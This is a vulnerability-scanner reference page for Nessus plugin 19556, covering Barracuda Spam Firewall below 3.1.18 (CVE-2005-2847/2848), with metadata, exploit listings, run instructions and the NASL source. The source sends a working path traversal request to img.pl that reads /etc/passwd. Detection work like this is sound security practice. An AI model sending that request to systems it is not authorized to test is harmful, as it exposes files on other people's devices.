Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities - Nessus

High   Plugin ID: 19556

This page contains detailed information about the Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview

ID: 19556
Name: Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities
Filename: barracuda_spam_firewall_3118.nasl
Vulnerability Published: 2005-09-01
This Plugin Published: 2005-09-01
Last Modification Time: 2021-01-19
Plugin Version: 1.21
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: barracuda_detect.nasl
Required KB Items [?]: www/barracuda_spamfw

Vulnerability Information

Severity: High
Vulnerability Published: 2005-09-01
Patch Published: 2005-09-01
CVE [?]: CVE-2005-2847, CVE-2005-2848
CPE [?]: cpe:/h:barracuda_networks:barracuda_spam_firewall

Synopsis

The remote web server is affected by multiple vulnerabilities.

Description

The remote host appears to be a Barracuda Spam Firewall network appliance, which protects mail servers from spam, viruses, and the like.

Further, it appears that the installed appliance suffers from several vulnerabilities that allow for execution of arbitrary code and reading of arbitrary files, all subject to the permissions of the web server user id.

Solution

Upgrade to firmware 3.1.18 or later.

Public Exploits

Target Network Port(s): 8000
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities vulnerability:

  1. Metasploit: exploit/unix/webapp/barracuda_img_exec
    [Barracuda IMG.PL Remote Command Execution]
  2. Exploit-DB: exploits/cgi/webapps/1236.pm
    [EDB-1236: Barracuda Spam Firewall < 3.1.18 - Command Execution (Metasploit)]
  3. Exploit-DB: exploits/cgi/webapps/16893.rb
    [EDB-16893: Barracuda - IMG.pl Remote Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:U/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.8 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.8 (Medium)

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Plugin Source

This is the barracuda_spam_firewall_3118.nasl nessus plugin source code. This script is Copyright (C) 2005-2021 Tenable Network Security, Inc. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');

if (description) {
  script_id(19556);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2005-2847", "CVE-2005-2848");
  script_bugtraq_id(14710, 14712);
  script_xref(name:"EDB-ID", value:"1236");

  script_name(english:"Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities");
  script_summary(english:"Attempts to access a local file via directory traversal");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be a Barracuda Spam Firewall network
appliance, which protects mail servers from spam, viruses, and the
like.

Further, it appears that the installed appliance suffers from several
vulnerabilities that allow for execution of arbitrary code and reading
of arbitrary files, all subject to the permissions of the web server
user id.");
 # http://web.archive.org/web/20051026050318/http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e58e748c");
  script_set_attribute(attribute:"solution", value:
"Upgrade to firmware 3.1.18 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Barracuda IMG.PL Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/01");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/09/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/09/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:barracuda_networks:barracuda_spam_firewall");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2021 Tenable Network Security, Inc.");

  script_dependencies("barracuda_detect.nasl");
  script_require_ports("Services/www", 8000);
  script_require_keys("www/barracuda_spamfw");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:8000, embedded:TRUE);
get_kb_item_or_exit("www/barracuda_spamfw");

# Try to exploit one of the flaws to read /etc/passwd.
r = http_send_recv3(
  method : "GET",
  port   : port,
  item   : "/cgi-bin/img.pl?" + "f=../etc/passwd",
  exit_on_fail : TRUE
);
res = r[2];

# There's a problem if there's an entry for root.
if (egrep(string:res, pattern:"root:.*:0:[01]:"))
  security_hole(port);
else audit(AUDIT_LISTEN_NOT_VULN, "Barracuda Spam Firewall" , port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/barracuda_spam_firewall_3118.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\barracuda_spam_firewall_3118.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/barracuda_spam_firewall_3118.nasl

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How to Run

Here is how to run the Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities plugin ID 19556.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl barracuda_spam_firewall_3118.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a barracuda_spam_firewall_3118.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - barracuda_spam_firewall_3118.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state barracuda_spam_firewall_3118.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 35224 - Barracuda Spam Firewall < 3.5.12.007 Multiple Vulnerabilities
  • 85850 - Barracuda Web Filter <= 5.0.0.012 Remote Command Execution

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file barracuda_spam_firewall_3118.nasl version 1.21. For more plugins, visit the Nessus Plugin Library.

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